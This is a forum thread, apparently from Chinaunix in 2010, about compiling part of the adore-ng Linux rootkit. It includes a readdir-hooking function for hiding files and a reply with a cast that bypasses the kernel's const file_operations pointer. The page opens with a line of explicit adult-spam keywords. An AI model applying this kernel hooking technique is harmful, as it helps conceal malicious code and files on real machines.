亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費(fèi)注冊 查看新帖 |

Chinaunix

  平臺(tái) 論壇 博客 文庫
最近訪問板塊 發(fā)新帖
查看: 2458 | 回復(fù): 5
打印 上一主題 下一主題

struct file 中字段 f_op 賦值問題 [復(fù)制鏈接]

論壇徽章:
0
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報(bào)告]
發(fā)表于 2010-04-05 04:38 |只看該作者 |倒序?yàn)g覽
編譯adore-ng-0.54的代碼時(shí)候提示“錯(cuò)誤:向只讀位置‘*filep->f_op’賦值”
相關(guān)的代碼段如下:
  1. int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir)
  2. {
  3.         struct file *filep;

  4.         filep = filp_open(p, O_RDWR|O_DIRECTORY, 0);
  5.         if (IS_ERR(filep)) {
  6.                 return -1;
  7.         }

  8.         if (orig_readdir)
  9.                 *orig_readdir = filep->f_op->readdir;   //保存原始的readdir,以便rootkit退出時(shí)能恢復(fù)

  10.         filep->f_op->readdir = new_readdir;         //用new_readdir替換
  11.         filp_close(filep, 0);
  12.         return 0;
  13. }
復(fù)制代碼
fedora10的系統(tǒng),內(nèi)核版本是2.6.27.5
請問有什么方法能給f_op賦值么?

論壇徽章:
0
2 [報(bào)告]
發(fā)表于 2010-04-05 11:53 |只看該作者
高版本的內(nèi)核中將f_op變成了const
這樣看看
((struct file_operations *)(filep->f_op))->readdir =new_readdir;

論壇徽章:
0
3 [報(bào)告]
發(fā)表于 2010-04-05 14:57 |只看該作者
按樓上的方法編譯通過了,非常感謝

論壇徽章:
0
4 [報(bào)告]
發(fā)表于 2010-04-05 18:23 |只看該作者
這只能編譯通過吧~
實(shí)際執(zhí)行的話會(huì)不會(huì)報(bào)錯(cuò)?~

論壇徽章:
0
5 [報(bào)告]
發(fā)表于 2010-04-05 18:56 |只看該作者
這只能編譯通過吧~
實(shí)際執(zhí)行的話會(huì)不會(huì)報(bào)錯(cuò)?~
superfight 發(fā)表于 2010-04-05 18:23


我只把a(bǔ)dore里面隱藏文件的部分給提取出來湊了個(gè)模塊。
insmod沒有報(bào)錯(cuò),但是也沒有起到隱藏文件的作用。
剛接觸Linux,完全不知道怎么回事,在看怎么調(diào)程序呢。

論壇徽章:
0
6 [報(bào)告]
發(fā)表于 2010-04-05 19:36 |只看該作者
回復(fù) 5# colorfulgreen


    我在內(nèi)核板塊有個(gè)隱藏文件的,測試是通過了的,2.618。你可以去看下!
您需要登錄后才可以回帖 登錄 | 注冊

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號(hào)-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號(hào):11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報(bào)專區(qū)
中國互聯(lián)網(wǎng)協(xié)會(huì)會(huì)員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP